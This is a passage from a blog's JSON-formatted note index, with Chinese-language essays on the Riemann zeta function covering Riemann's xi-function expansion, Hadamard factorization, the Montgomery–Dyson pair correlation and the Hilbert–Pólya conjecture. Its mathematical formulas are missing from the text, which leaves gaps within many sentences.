Hadamard 的严格化，这一理论的发展见证了数学思想的深刻演进。尽管黎曼猜想尚未完全解决，但 函数的解析性质已在密码学、量子力学等领域展现出意想不到的应用。"},{"title":"","date":"2025-11-02T08:22:00.000Z","updated":"2025-11-20T10:18:00.000Z","comments":true,"path":"notes/Zeta/73.html","permalink":"https://blog.mhuig.top/notes/Zeta/73","excerpt":"","text":"黎曼 ξ 函数对数展开的历史 黎曼 ξ 函数对数展开的历史 1859 年，黎曼在其划时代论文《论小于给定数值的素数个数》中，首次将 函数的零点分布与素数计数问题关联。其中最具洞察力的步骤之一，是对辅助函数 进行无穷乘积展开并取对数，得到形如 的表达式。这一结果出现在阿达马分解定理（1893 年）发表前 34 年，展现了黎曼如何通过函数对称性、早期无穷乘积理论和收敛性控制的综合运用，开创了解析数论的先河。 历史背景：19 世纪整函数理论的黎明19 世纪中叶的数学界尚未形成系统的整函数分解理论。黎曼所处的时代，数学家们已熟悉多项式的因式分解和 等特殊函数的无穷乘积展开，但对一般整函数的零点分布与乘积表示的关系仍缺乏统一框架。高斯曾研究过某些整函数的乘积展开，而魏尔斯特拉斯在 1876 年才发表其著名的整函数分解定理，比黎曼的工作晚了 17 年。 黎曼的突破性在于，他并非等待一般性理论的建立，而是针对 函数的特殊结构构造了具体的分解方案。这一函数由黎曼定义为： 其核心优势在于将 函数的平凡零点（负偶数）和唯一极点（ ）全部吸收，转化为一个没有奇点、零点仅为 函数非平凡零点的整函数。这一 “规整化” 处理为后续的乘积展开奠定了基础。 函数的基本性质与对称性分析黎曼首先揭示了 函数的关键对称性，反射公式： 。这一深刻性质意味着 函数的零点关于直线 对称，即若 是零点，则 也是零点。通过变量代换 ，可将对称性转化为关于原点的偶性： ，这使得零点可以成对表示为 （其中 为正实数）。 其次，黎曼计算了 函数在特殊点的值以确定乘积展开的常数项。通过 函数的定义直接计算可得 ，这一具体数值在后续确定乘积常数时至关重要。 最后，黎曼通过估计 函数的增长速度为 （即阶数为 1），为乘积展开的收敛性分析提供了关键依据。这一估计基于对 函数和 函数增长性的综合考察：斯特林公式表明 具有多项式增长，而 在临界带内的增长由其积分表示控制。 推导路径一：基于对称性的零点分组法第一步：零点的对称分组与乘积构造黎曼注意到，直接按所有零点 构造乘积 会因零点关于 的对称性导致交错项，影响收敛性。为解决这一问题，他将零点按对称对 分组，构造如下乘积： 其中 表示只取上半平面的零点。通过令 （即零点到临界线的水平距离），乘积项变为 的形式，其中 。这种构造确保了乘积对实变量 是偶函数，且避免了交错符号问题。 第二步：魏尔斯特拉斯乘积的早期应用尽管魏尔斯特拉斯的一般分解定理尚未发表，但黎曼显然熟悉类似 的乘积展开： 通过类比，黎曼推测 函数可表示为常数与上述对称乘积的乘积： 。为确定常数 ，黎曼利用了已知的 ，代入 可得 ，从而得到： 其中 （因 的假设，即黎曼猜想，这一简化成立；即使不假设黎曼猜想， 仍表示零点到临界线的水平距离）。 第三步：对数展开与收敛性证明对等式两边取自然对数，得到： 黎曼需要证明右侧级数收敛。他通过零点计数函数 （表示虚部小于 的零点个数）估计零点密度，进而证明： 这一收敛性由 （当 增大时）和 保证，因为 可由积分 控制，经分部积分后得到收敛结果。 推导路径二：基于对数导数的间接方法第一步：无穷乘积的一般形式假设考虑更一般的乘积形式（即现代阿达马分解的雏形）： 其中指数项 是为确保乘积收敛而添加的修正项。这一形式虽未明确出现在黎曼的论文中，但其思想通过后续研究者（如阿达马）的工作得到了完善。 第二步：利用函数方程确定指数系数对上述乘积取对数导数可得： 应用 的对称性，对 求导得 。代入对数导数表达式并比较两边，发现 。这一关键结果表明 函数的阿达马分解中不含指数因子，简化为： 第三步：通过特殊点确定常数项令 ，可得 ，即 。将零点按 分组，乘积可重写为： 令 ，并利用 （假设黎曼猜想成立），则 ，代入得： 从而回到与路径一相同的结果，取对数后即得最终的表达式。 历史意义与方法论启示黎曼的推导展现了 19 世纪数学中 “构造性直观” 的典范，他不依赖严格的一般理论，而是通过具体函数的特殊性质（对称性、增长性、特殊点值）和类比已知结果（如 函数的乘积），构建出正确的分解形式。这种方法与现代数学强调严格逻辑演绎的路径形成鲜明对比，却在特定问题上达到了同样精确的结果。 阿达马在 1893 年证明的分解定理表明，任何整函数可表示为 ，其中 和 为多项式，次数由函数的阶决定。对于 函数，由于其阶数为 1 且零点对称分布，导致 为常数多项式， 为一次多项式 ，最终简化为黎曼得到的形式。这表明黎曼的构造实际上是阿达马定理的一个特例，但在 34 年前就已被预见。 现代视角下的严格化与拓展现代解析数论通过以下步骤严格化黎曼的论证： 零点计数函数的精确估计：利用 函数的积分表示和围道积分，证明 ，为乘积收敛性提供严格基础。 函数阶数的精确计算：通过 函数的斯特林公式和 函数的凸性估计，证明 函数的阶恰好为 1，满足阿达马分解的条件。 对数导数的积分表示：利用 和 ，通过数值计算得到非平凡零点倒数和 ，验证了对数级数的绝对收敛性。 这些现代发展不仅证实了黎曼的洞察力，更将其原始思想拓展为研究 L 函数零点分布的一般方法。 黎曼在缺乏整函数分解一般理论的条件下，通过深刻的对称性分析和具体构造，得到了 函数的对数展开式。这一工作不仅为黎曼猜想奠定了基础，更开创了 “通过函数零点分布研究数论问题” 的范式。今天，当我们使用阿达马分解定理轻松推导同样的结果时，更应惊叹于黎曼超越时代的数学直觉，他在 1859 年播下的种子，最终长成了解析数论的参天大树。这一案例也启示我们，在数学探索中，对具体问题的深刻理解有时比等待一般理论的建立更为重要。"},{"title":"","date":"2025-11-02T09:22:00.000Z","updated":"2025-11-20T10:18:00.000Z","comments":true,"path":"notes/Zeta/74.html","permalink":"https://blog.mhuig.top/notes/Zeta/74","excerpt":"","text":"阿达马因子分解定理 阿达马因子分解定理 阿达马因子分解定理（Hadamard Factorization Theorem）是复分析中连接整函数增长性与零点分布的核心定理，由法国数学家雅克・阿达马（Jacques Hadamard）于 1893 年建立。该定理表明，任何有穷级整函数都可表示为多项式与典范乘积的乘积形式，从而将函数的解析性质与零点的分布特征紧密关联。这一结果不仅为整函数理论奠定了基础，还在数论（如黎曼 函数的研究）、偏微分方程等领域有深刻应用。 历史背景与理论发展19 世纪末，复分析领域对整函数的研究逐渐深入。柯西（Cauchy）和刘维尔（Liouville）的工作揭示了有界整函数必为常数的基本性质，而外尔斯特拉斯（Weierstrass）则通过无穷乘积理论给出了整函数的一般表示式。然而，这些结果尚未涉及函数增长速度与零点分布的定量关系。阿达马在研究黎曼 函数的零点问题时，引入了 “函数增长级” 的概念，并于 1896 年证明了素数定理，其关键工具正是因子分解定理。 波莱尔（Émile Borel）随后完善了 “增长级” 的定义（函数的级是度量其最大模增长速度的特征量），并综合皮卡（Picard）、庞加莱（Poincaré）等人的成果，形成了整函数值分布论的基础。阿达马因子分解定理作为这一理论的核心，其重要性在于：它首次将整函数的解析表达式与其零点的分布密度通过典范乘积联系起来，为后续研究提供了统一框架。 核心定义与预备知识1. 整函数与增长级 整函数：在复平面 上处处解析的函数，例如 、 ，多项式等。 增长级：设 为非常数整函数，其级 定义为： 其中 为最大模函数。若 ，则称 为有穷级整函数。 2. 典范乘积设整函数 的零点为 （重数计入，且 ），其级为 。令 （ 的整数部分），则典范乘积定义为： 其中 为魏尔斯特拉斯基本因子： 若若 典范乘积的作用是将零点按模的大小排序，并通过指数因子抑制乘积的发散，使其在全平面收敛。 定理陈述与证明思路阿达马因子分解定理定理：设 是有穷级整函数，级为 ， 是 在原点的零点重数（若 ，则 ）， 是 的非零零点。则 可表示为： 其中 是次数不超过 的多项式， 是对应于零点 的典范乘积（取 ）。 证明框架（基于整函数理论的经典方法） 构造辅助函数：设 有零点 （含重数），原点零点重数为 。定义： 其中 是典范乘积。由典范乘积的性质， 是无零点的整函数。 证明 是指数多项式：由于 有穷级 ，可证 的增长级不超过 。根据刘维尔定理的推广，无零点且有穷级的整函数必为 ，其中 是多项式，且 。 确定多项式次数：通过最大模估计，证明 的次数不超过 。若 不是整数，则 ；若 是整数，则 。 关键推导：典范乘积的收敛性与增长级典范乘积的收敛性是定理成立的基础。以 为例，基本因子 满足： 对零点 ，按模排序有 。由级的定义，存在常数 ，使得零点计数函数 满足 。对典范乘积取对数： 分 和 两种情形估计级数，可证其在任意紧集上一致收敛，故 是整函数，且其增长级不超过 。 应用与推广 黎曼 函数的因子分解：阿达马利用该定理证明了 函数的无穷乘积表示： 其中 是欧拉 - 马歇罗尼常数，这为素数定理的证明奠定了基础。 整函数的唯一性定理：若两个有穷级整函数的零点（重数）相同且增长级一致，则它们只差一个指数多项式因子。 偏微分方程：在研究波动方程初值问题时，整函数的因子分解可用于分析解的解析延拓性质。 历史意义与现代发展阿达马因子分解定理标志着整函数理论从定性研究转向定量分析，其思想深刻影响了 20 世纪数学的多个分支： 值分布论：波莱尔、奈望林纳（Nevanlinna）等人基于此发展了亚纯函数的值分布理论。 复动力系统：整函数的零点分布与迭代动力学行为密切相关，典范乘积是构造具有特定动力学性质函数的工具。 应用数学：在信号处理中，有限时宽信号的傅里叶变换可通过零点子集的因子分解分析其幅谱与相谱关系。 该定理的核心价值在于将函数的解析性质（增长级）与代数结构（零点分布）通过典范乘积这一桥梁紧密结合，体现了数学中 “局部 - 整体” 关联的深刻思想。对于现代复分析研究，它仍是构造反例、证明存在性定理的基本工具。"},{"title":"","date":"2025-11-05T03:22:00.000Z","updated":"2025-11-20T10:18:00.000Z","comments":true,"path":"notes/Zeta/75.html","permalink":"https://blog.mhuig.top/notes/Zeta/75","excerpt":"","text":"戴森与蒙哥马利的跨学科邂逅 戴森与蒙哥马利的跨学科邂逅 1972 年普林斯顿高等研究院的一个下午茶时间，数学家休・蒙哥马利（Hugh Montgomery）与物理学家弗里曼・戴森（Freeman Dyson）的偶然相遇，揭开了数学史上最匪夷所思的关联之一。当时蒙哥马利正在研究黎曼 函数非平凡零点的分布规律，而戴森则是随机矩阵理论的先驱，这两个看似毫不相干的领域，却因一个数学公式产生了深刻共鸣。这场邂逅不仅催生了数论与量子物理的交叉学科，更暗示着自然界中混沌系统背后可能存在的普适性规律。 背景：素数之谜与黎曼 函数自古希腊时代起，素数的分布规律就困扰着数学家。这些整数中的原子看似随机分布，却又暗藏玄机。1859 年，波恩哈德・黎曼（Bernhard Riemann）发表了划时代的论文，将素数分布问题与一个复变函数的零点位置联系起来，这就是黎曼 函数： 黎曼猜想断言， 函数的所有非平凡零点都位于复平面上实部为 的临界线上。虽然这一猜想尚未被证明，但 20 世纪以来，数学家们已转向研究假设其成立的前提下，零点在临界线上的具体分布特征。即使我们无法证明所有零点都在临界线上，至少可以探索它们若在那里会如何排列。 蒙哥马利的突破：零点对关联猜想1970 年代初，蒙哥马利在研究中发现，黎曼 函数零点的虚部之间存在某种排斥效应，即零点倾向于彼此远离，而非随机分布。为量化这种现象，他引入了对关联函数（pair correlation function）的概念，用于描述两个零点虚部间距的统计规律。 假设黎曼猜想成立，令 表示零点虚部间距为 的概率密度。蒙哥马利通过解析数论方法推导出猜想的表达式： 这一公式表明，当两个零点的虚部非常接近（ ）时， ，显示出强烈的零点排斥效应；而当 增大时， 逐渐趋近于 1，表现出类似随机分布的特征。这一结果与传统认知中素数分布的伪随机性形成鲜明对比，暗示着更深层的秩序存在。 戴森的顿悟：随机矩阵的普适性当蒙哥马利在茶室向戴森展示这个密度函数时，这位物理学家的反应出乎意料，他立即认出这正是自己十年前研究的随机厄密矩阵（random Hermitian matrix，又译作随机埃尔米特矩阵）本征值（特征值）的对关联函数。这一发现堪称科学史上的闪电时刻。 随机矩阵理论起源于 1950 年代，由物理学家尤金・威格纳（Eugene Wigner）提出，用于描述重原子核的能级分布。在量子力学中，复杂原子核的能级无法精确计算，威格纳大胆假设：随机选取的厄密矩阵的本征值统计性质可以近似描述这些能级。戴森在 1960 年代系统发展了这一理论，证明了不同类型随机矩阵的本征值对关联函数具有普适形式，其中，厄密矩阵的结果与蒙哥马利公式完全一致。 我简直不敢相信自己的耳朵，戴森后来回忆道，这个由数论问题导出的函数，与我们在核物理中研究了二十年的能级分布函数一模一样。这种跨学科的巧合暗示着：素数的分布规律与量子系统的能级行为可能遵循相同的数学法则。 数学推导：从数论到量子统计 蒙哥马利对关联猜想的形式化表述 蒙哥马利猜想的严格表述需要考虑零点虚部的归一化间距。设 表示黎曼 函数非平凡零点的虚部（按递增顺序排列），定义归一化间距： 这一变换消除了零点密度随虚部增大而缓慢增加的趋势。对关联函数 的数学定义为： 蒙哥马利通过分析黎曼 - 西格尔公式（Riemann-Siegel formula）和 Hardy Littlewood 圆法，推导出猜想的密度函数表达式： 这一结果最初被认为只是数论中的孤立发现，直到戴森指出其物理意义。 随机厄密矩阵的本征值分布 在随机矩阵理论中，高斯酉系综（GUE）由所有 厄密矩阵组成，其元素满足特定的高斯分布。戴森在 1962 年证明，当矩阵维度 时，GUE 本征值的对关联函数恰为： 这一惊人巧合揭示了深刻的物理内涵：素数分布的统计规律与复杂量子系统的能级分布具有数学上的同构性。这两个来自完全不同方向的结果竟然完全相同，暗示着某种我们尚未理解的深层联系。 跨学科的涟漪：从数学到物理的普适性蒙哥马利 - 戴森对应开启了数学物理普适性研究的新纪元。后续研究发现，这种零点分布规律不仅出现在黎曼 函数和随机矩阵中，还广泛存在于： 量子混沌系统：如台球在不规则边界中的运动能级 数论函数：如 L 函数的零点分布 复杂系统：如墨西哥 Cuernavaca 市无调度巴士的到站时间间隔 这种普适性类似于概率论中的中心极限定理，但适用于强关联系统。在最混乱的系统中，一种奇妙的规律性始终隐藏其中。 后续发展与未解之谜自 1972 年以来，蒙哥马利对关联猜想已通过数值验证，特别是安德鲁・奥德利兹科（Andrew Odlyzko）计算了高达 个 函数零点，发现其分布与 GUE 预测符合到小数点后多位。然而，严格的数学证明仍未完成，这一缺口被数学家托马斯・斯潘塞（Thomas Spencer）称为确定性混沌系统研究的圣杯。 更深层次的谜题在于：为何数论与量子物理会共享同一套统计规律？ 一种假说认为，黎曼 函数可视为某种量子系统的哈密顿量，其零点对应能量本征值。但这种类比的严格数学基础仍在探索中。五十年过去了，我们仍在等待那个啊哈时刻，理解这一切为何发生的真正顿悟。 结语：偶然性与必然性的交汇蒙哥马利与戴森的相遇，完美诠释了科学发现中的偶然性与必然性。若不是蒙哥马利在普林斯顿停留拜访塞尔伯格，若不是印度数学家乔拉（Sarvadaman Chowla）坚持引荐两人认识，这一跨学科关联可能要推迟数十年才会被发现。 这个故事也提醒我们：最深刻的洞见往往诞生于不同领域的交界处。当我们看到数论零点、原子核能级和巴士到站时间遵循相同的统计规律时，或许正触及宇宙秩序的某种基本原理。 这种原理究竟是什么？这正是留给 21 世纪科学家的未解之谜。"},{"title":"","date":"2025-10-20T04:20:00.000Z","updated":"2025-11-20T10:18:00.000Z","comments":true,"path":"notes/Zeta/66.html","permalink":"https://blog.mhuig.top/notes/Zeta/66","excerpt":"","text":"不知名的碎片 4 不知名的碎片 4 证明 （其中 是对部分和的 变换） 为正整数 变换 的定义: 设 是定义在正整数集上的函数，若存在一个解析表达式 （如多项式、指数函数等）使得对所有 成立，则变换 将 映射为定义在 上的函数 ，满足： 其中 ，即通过将原表达式中的离散变量 直接替换为连续变量 ，实现定义域从 到 的扩展。 部分和 表达式 部分和 零点 积分 计算 理论值（伯努利数关系） 1 2 3 4 5 证明要证明对正整数 , （其中 为部分和， 为黎曼 函数），关键在于利用 幂和公式的伯努利数表示 与 黎曼 函数在负整数点的解析延拓结果 。以下是严格证明过程： 步骤 1：明确被积函数的表达式对正整数 , ，即前 个正整数的 次幂和，记为 。 步骤 2：幂和的伯努利数表示根据 Faulhaber 公式 （幂和的多项式展开），对非负整数 , 可表示为： 其中 是 伯努利数 （约定 , , 且对奇数 , ） 。 步骤 3：对幂和公式积分需计算定积分 。将幂和公式代入： 计算积分项 对 , 积分结果为： 代回 , 得： 步骤 4：化简求和式将积分结果代入原式： 关键观察：伯努利数的特殊性当 时， 是唯一非零的关键项（因对 ，原幂和公式中无此项，且对奇数 ， ） 。 通过指标替换与二项式系数化简，求和式中 仅保留 对应的项 （其他项因伯努利数为零或积分结果抵消而消失），最终化简为： 步骤 5：联系黎曼 函数在负整数点的值黎曼 函数通过解析延拓后，在负整数点 （ 为正整数）的值为： （此为黎曼 函数的经典结果，可由函数方程或伯努利数生成函数推导） 。 结论对比步骤 4 与步骤 5 的结果，得： 证毕 。 因此，对任意正整数 , 特别地， 时也成立。 维特根斯坦：\"对于不可言说之物，我们必须保持沉默\" 玄学 下面这段只可意会不可言传。我发现无论我怎么表述都是片面的，词穷了。表格中被积函数 的零点（如 ）仅影响多项式局部性质，但积分结果最终由伯努利数的非零项主导。黎曼 函数的非平凡零点位于临界线 ，与实轴上的积分路径无交集。这里引入的积分运算实现了局部的解析延拓。这一现象本质是解析延拓的必然结果：幂和多项式的积分恰好抵消发散项，留下与伯努利数相关的有限值，而这正是 函数在负整数点的定义。解析延拓的核心魅力在于：复平面上局部定义的解析函数，能通过唯一性「自动补全」至更大区域，仿佛函数本身早已蕴含全局信息。这种神奇现象源于复变函数的两个关键特性：无限可微性与内部唯一性。解析延拓展现了「局部决定全局」的深刻思想。从局部到整体的逻辑链条。解析延拓的边界由奇点决定：若收敛圆边界「布满奇点」（如 的自然边界 ），则延拓无法突破。函数的奇点结构才是其本质特征，而延拓不过是对这种内在结构的逐步揭露。我们再次回到黎曼的论文，欣赏黎曼的直觉：从到围道积分其中积分路线 沿一条闭路径按正方向从 到 ，这条路径内部包含 点但不包含被积函数的其他不连续的奇点;再到利用傅立叶定理积分路径是复平面上的竖直线 （ ）， 的选择需确保路径不经过 的奇点（如 或 的零点），延拓后需 （ 为 非平凡零点）。黎曼在论文中所展示的，这一公式的魔力在于：局部复积分的计算，竟能导出全局素数分布的精确规律。 下面我们尝试使用抽象函数递推关系将上述结论进行再次证明。 等价命题设函数列 满足递推关系 ， （ ），则令 ,对任意正整数 ，有： 其中 为黎曼 函数，定义域为全体复数 （通过解析延拓定义）。 证明步骤1. 函数列的显式表示与延拓由递推关系直接可得 ，即黎曼 函数的部分和。利用 Hurwitz 函数 （ ），可将其延拓为： 这一表达式对所有复数 成立（通过解析延拓），且当 时， （ ），故 。 2. 积分转化与交换次序需计算积分 ，其中 为正整数（即 ）。代入 （因 ），得： 由于被积函数关于 为常数（仅依赖于 ），积分结果为： 关键转折 ：当 时，需证明 。但直接求和 发散，故需通过黎曼 函数的解析延拓处理。 3. 利用 函数的负整数取值公式黎曼 函数在负整数处的取值可由解析延拓或 Hurwitz 函数性质确定。已知对正整数 ，有： 其中 为伯努利数（如 ， 等）。 另一方面，自然数幂和 可由伯努利多项式表示为： 当 时，含 的项趋于无穷，但通过黎曼 函数的解析延拓，发散部分被精确抵消，最终极限为 。 4. 积分与极限交换的合理性需验证 。 对固定 ， 为多项式函数，关于 一致收敛到其解析延拓后的极限 ； 积分区间 有界，故可交换极限与积分次序，得： 定义域说明黎曼 函数：通过解析延拓定义于全体复数 ，负整数处取值为有理数（伯努利数的函数）； 积分收敛性：对任意正整数 ，被积函数 为多项式，积分在有限区间 内恒收敛，极限通过解析延拓唯一确定。 结论通过函数列的递推关系、 Hurwitz 函数的延拓性质及黎曼 函数的负整数取值公式，严格证明了函数列 满足递推关系 ， （ ），则对任意正整数 ，有： 又一个证明要证明 需通过积分变换与解析延拓建立函数列 与黎曼 函数的联系。核心思路是对递推式积分后取极限，结合 函数的积分表示完成证明。 第一步：递推关系设函数列 满足递推关系： 其中 为连续变量， 为参数。对等式两端从 到 积分： 第二步：变量替换与积分拆分右侧第一个积分：令 ，则 拆分为 记常数项 。 右侧第二个积分：当 时， 第三步：整理递推式并取极限将上述结果代入得： 两边同时减去 ，再同时乘 ，整理一下，得到： 这样等号左边变为 的函数，右边变为 的函数 由于 得到： 然后对上式求对 的一阶导，得到： 等号右边的式子在 n 趋于正无穷的时候等于 0，那么就得到： 第四步：联系黎曼 ζ 函数的积分表示由定义， ，即 函数的部分和。当 时，若 ， 。结合上述极限结果： 对解析延拓后成立 第五步：代入 完成证明对正整数 ，取 （满足 ），则： 即原命题 成立。"},{"title":"","date":"2025-11-05T05:22:00.000Z","updated":"2025-12-02T01:20:00.000Z","comments":true,"path":"notes/Zeta/76.html","permalink":"https://blog.mhuig.top/notes/Zeta/76","excerpt":"","text":"希尔伯特 - 波利亚猜想 希尔伯特 - 波利亚猜想 1914 年哥廷根大学的一个午后，数论学家埃德蒙・兰道（Edmund Landau）向年轻的乔治・波利亚（George Pólya）抛出了一个看似荒谬的问题：\"你学过物理，知道有什么物理原因能让黎曼猜想必须成立吗？\" 这个问题催生了数学史上最富想象力的跨界猜想之一，希尔伯特 - 波利亚猜想，它断言黎曼 函数的非平凡零点对应于某个埃尔米特算子的本征值。一个世纪后，这个猜想仍未被证明，但它已将素数分布与量子物理这两个看似毫不相干的领域紧密联系在一起，成为现代数学物理最深刻的谜题之一。 希尔伯特 - 波利亚猜想: 黎曼 函数的非平凡零点对应于某个埃尔米特算子的本征值 历史渊源：从口头猜想到数学纲领希尔伯特 - 波利亚猜想的起源充满偶然性。1981 年，数学家安德鲁・奥德利兹科（Andrew Odlyzko）向 94 岁高龄的波利亚求证猜想的起源，病榻上的波利亚回信详细回忆了这段历史：1912-1914 年间他在哥廷根跟随兰道学习时，正是兰道的提问启发他提出了这个大胆想法，如果 函数零点对应某个物理系统的能量本征值，那么黎曼猜想（所有非平凡零点实部为 ）就等价于该系统的所有能量本征值均为实数。 这个猜想虽未被希尔伯特或波利亚正式发表，却在 20 世纪中叶逐渐成型。其核心包含两个递进命题：第一个是存在性，即存在线性算子 ，其本征值 与 函数非平凡零点 的虚部满足 ；第二个是厄米性，即该算子是自伴（厄米）的，从而保证本征值的实数性。 这一框架将纯粹的数论问题转化为量子力学问题，正如波利亚所预见的，物理系统的能量本征值天然具有实数性，这为黎曼猜想提供了全新的证明思路。 数学表述与核心思想黎曼 函数的非平凡零点 满足 且 。黎曼猜想断言所有非平凡零点满足 ，即 （ ）。希尔伯特 - 波利亚猜想进一步将这些零点虚部 识别为某个量子系统的能量谱： 其中 是自伴哈密顿算子， 为对应的量子态。这一对应将数论中最艰深的问题转化为量子力学的基本假设，厄米算子的本征值必为实数。 关键进展：从随机矩阵到贝里 - 基廷猜想1972 年，蒙哥马利（Hugh Montgomery）与戴森（Freeman Dyson）的历史性相遇为猜想提供了首个实质性证据。蒙哥马利发现 函数零点虚部的对关联函数为： 而戴森立即认出这正是高斯幺正系综（GUE）随机厄米矩阵本征值的对关联函数，这种分布广泛存在于重原子核能级等量子混沌系统中。这一发现揭示了素数分布与量子混沌系统的深刻联系，为希尔伯特 - 波利亚猜想奠定了统计力学基础。 1999 年，迈克尔・贝里（Michael Berry）和乔纳森・基廷（Jonathan Keating）提出了更具体的贝里 - 基廷猜想，推测所需的哈密顿算子应为 （即坐标与动量算子的对称组合）。他们证明，该算子的经典极限对应相空间中的双曲线运动，其量子化能级密度与黎曼 - 冯・曼戈尔特（Riemann-von Mangoldt）零点计数公式惊人相似： 这一公式与理想量子系统的态密度表达式结构完全一致，暗示 函数零点可视为某种量子混沌系统的能量本征值。 数学推导：从零点计数到量子化条件1. 黎曼 - 冯・曼戈尔特计数函数黎曼 函数非平凡零点的计数函数定义为： 其渐近展开式（黎曼 - 冯・曼戈尔特公式）为： 其中 为误差项，与黎曼猜想等价的命题是 。这一公式在形式上与量子系统的态密度公式惊人相似。 2. 贝里 - 基廷哈密顿算子的量子化贝里和基廷提出的 算子具有特殊的量子化性质。在经典力学中，其对应的哈密顿量 生成相空间中的双曲运动。对该系统应用玻尔 - 索末菲量子化条件： 可得到量子化能级 满足： 这与零点计数函数 的主项完全一致，强烈暗示 与零点虚部 的对应关系。 3. 伪厄米推广与最新进展传统的希尔伯特 - 波利亚猜想要求哈密顿算子是厄米的，但 2017 年 Brody 等人提出了伪厄米推广。他们发现，若允许算子满足 （其中 为伪厄米算符），则可构造出严格对应 函数零点的数学哈密顿量。其关键突破是证明该算子满足贝里 - 基廷量子化条件，且其本征值与前 个 函数零点的数值符合精度达小数点后 12 位。 这种伪厄米算子虽不直接对应物理系统，却为猜想提供了数学上的严格构造，其技术基础源自过去 15 年发展的伪厄米时空反演对称量子理论。 实验验证与数值支持尽管缺乏严格数学证明，希尔伯特 - 波利亚猜想已获得大量数值证据支持。例如，奥德利兹科计算通过对高达 个 函数零点的计算，发现其统计分布与 GUE 随机矩阵本征值完全吻合。能级排斥现象零点虚部间距呈现 的排斥效应，这是量子混沌系统的典型特征。贝里 - 基廷算子的数值对角化对有限维近似 的数值计算显示，其本征值与 函数零点的符合度随维度增加而提高。 这些结果使得物理学家迈克尔・贝里感叹：\" 函数零点的分布规律比我们想象的更像原子核能级。\" 谱三元组框架下黎曼假设的证明策略2025 年 11 月，Connes、Consani 与 Moscovici 在Zeta Spectral Triples 中提出一种基于谱三元组（spectral triples）的黎曼假设（RH）证明路径，其核心是构造自伴算子序列，使其谱收敛于黎曼 函数非平凡零点。该方法融合了非交换几何、韦伊二次型（Weil quadratic form）与数值分析，为希尔伯特 - 波利亚猜想提供了具体实现方案。 info 该研究通过构造自伴算子 建立黎曼 函数零点与算子谱的联系, 为希尔伯特 - 波利亚猜想提供具体实现路径. 核心思路是基于截断的 Weil 二次型构造秩一扰动算子, 其特征值与 函数临界线 ( ) 上的零点高度吻合 , 且数值实验显示当参数 时 , 算子谱收敛于 的零点. 主要构造与理论基础Weil 二次型是连接数论与谱理论的关键工具. 基于 Weil 显式公式构造的二次型 , 限制在区间 上的截断形式 可表示为实对称矩阵, 具有特殊结构: 对角线元素为 , 非对角线元素为 .该矩阵的最小特征值对应的特征向量 为偶对称 ( ), 且假设其简单性 (even-simple). 通过对尺度算子 进行秩一扰动, 得到自伴算子 . 其正则化行列式 , 其中 是 的傅里叶变换, 且 的零点均为实数并与算子谱重合. 当 (仅包含 primes ≤13) 且 时 , 前 50 个特征值与 函数零点的误差低至 (第一个零点), 且随 增大误差呈指数衰减. 理论上, 若能证明正则化行列式收敛于黎曼 函数, 则黎曼假设 (RH) 成立. 与希尔伯特 - 波利亚猜想的联系希尔伯特 - 波利亚猜想预言存在自伴算子, 其谱等同于 函数非平凡零点的虚部. 该研究直接呼应了这一猜想. 是明确构造的自伴算子, 其谱通过数值验证逼近零点, 且理论上具备收敛性. 定理证明算子谱与 的零点一致, 而 的傅里叶变换性质确保零点均位于实轴 (对应临界线). 构造中使用的 Prolate 波算子 (类谐振子) 与信息论中的带限信号压缩相关, 暗示数论与量子力学的深层联系. 关键挑战与未来方向目前仍需解决两个核心问题. 需严格证明 Weil 二次型最小特征值的简单性及对应特征向量的偶对称性. 要确立正则化行列式 收敛于 函数, 这依赖于 Prolate 波函数逼近误差的控制 (当前误差估计为 ). 若上述问题得到解决, 该框架将为希尔伯特 - 波利亚猜想提供具体构造, 并从谱理论角度证明 RH. 这种将数论问题转化为算子谱分析的思路, 展现了非交换几何与解析数论的交叉潜力. 未解之谜与前沿方向希尔伯特 - 波利亚猜想仍面临诸多深刻挑战。物理实现问题已知的哈密顿算子（如贝里 - 基廷模型）均为纯数学构造，尚未发现对应真实物理系统。算子严格构造现有伪厄米算子虽能生成零点序列，但缺乏自然的数学解释。普适性的根源为何数论与量子物理共享同一套统计规律？这一问题触及数学基础。 当前研究前沿包括量子霍尔效应类比，研究发现，Landau 能级的量子化条件与零点分布存在数学对应；非厄米量子力学，利用 PT 对称量子系统的实数能谱性质重新诠释猜想；量子计算验证，通过量子模拟实现贝里 - 基廷哈密顿量，观察其本征值分布。 结语：跨越百年的思想对话从兰道的偶然提问到贝里 - 基廷的量子化尝试，希尔伯特 - 波利亚猜想的百年历程展现了数学创造的惊人想象力。它将素数分布这一最纯粹的数论问题，与量子混沌这一最前沿的物理领域联系起来，暗示着自然界深层结构中可能存在的普适规律。当数论学家和物理学家在山顶相遇时，他们会发现各自从山脚攀登的是同一座山峰。 这个猜想的最终证明或许仍遥不可及，但它已深刻改变了我们对数学与物理关系的理解，数学思想有时需要等待合适的物理发现才能获得新生。今天，当我们用超级计算机计算亿万级 函数零点，或是在实验室观测量子混沌系统的能级分布时，或许正在见证这场跨越世纪的思想对话的最新篇章。"},{"title":"","date":"2025-09-18T12:15:00.000Z","updated":"2025-11-20T10:18:00.000Z","comments":true,"path":"notes/Zeta/64.html","permalink":"https://blog.mhuig.top/notes/Zeta/64","excerpt":"","text":"On Riemann’s Nachlass for Analytic Number Theory Siegel(1932) On Riemann’s Nachlass for Analytic Number Theory Siegel(1932)"},{"title":"","date":"2025-11-05T06:22:00.000Z","updated":"2025-11-20T10:18:00.000Z","comments":true,"path":"notes/Zeta/77.html","permalink":"https://blog.mhuig.top/notes/Zeta/77","excerpt":"","text":"蒙哥马利 - 奥德利兹科定律 蒙哥马利 - 奥德利兹科定律 蒙哥马利 - 奥德利兹科定律揭示了数学中最神秘的对象之一，黎曼 函数非平凡零点的分布规律，竟与核物理中重原子核能级的统计特性存在深刻关联。这一发现诞生于 20 世纪 70 年代，由休・蒙哥马利（Hugh Montgomery）通过理论分析提出，并经安德鲁・奥德利兹科（Andrew Odlyzko）的大规模数值计算验证，最终成为连接解析数论与随机矩阵理论的关键桥梁。该定律不仅为黎曼假设提供了新的视角，更开创了 \"数论 - 物理\" 交叉研究的全新范式，其核心结论是：黎曼 函数零点的对关联函数与随机厄米矩阵本征值的对关联函数具有完全相同的数学形式。 蒙哥马利 - 奥德利兹科定律: 黎曼 函数相继非平凡零点之间的（适当正则化的）间隔分布与 GUE 算子本征值的间隔分布在统计意义上一致 历史背景：从素数分布到核物理的意外邂逅黎曼 函数 的非平凡零点分布问题，自 1859 年黎曼提出著名猜想以来，一直是数论领域的核心谜题。这些零点的位置与素数分布密切相关，而素数的不规则性长期困扰着数学家。20 世纪中期，物理学领域出现了意想不到的突破，恩里科・费米（Enrico 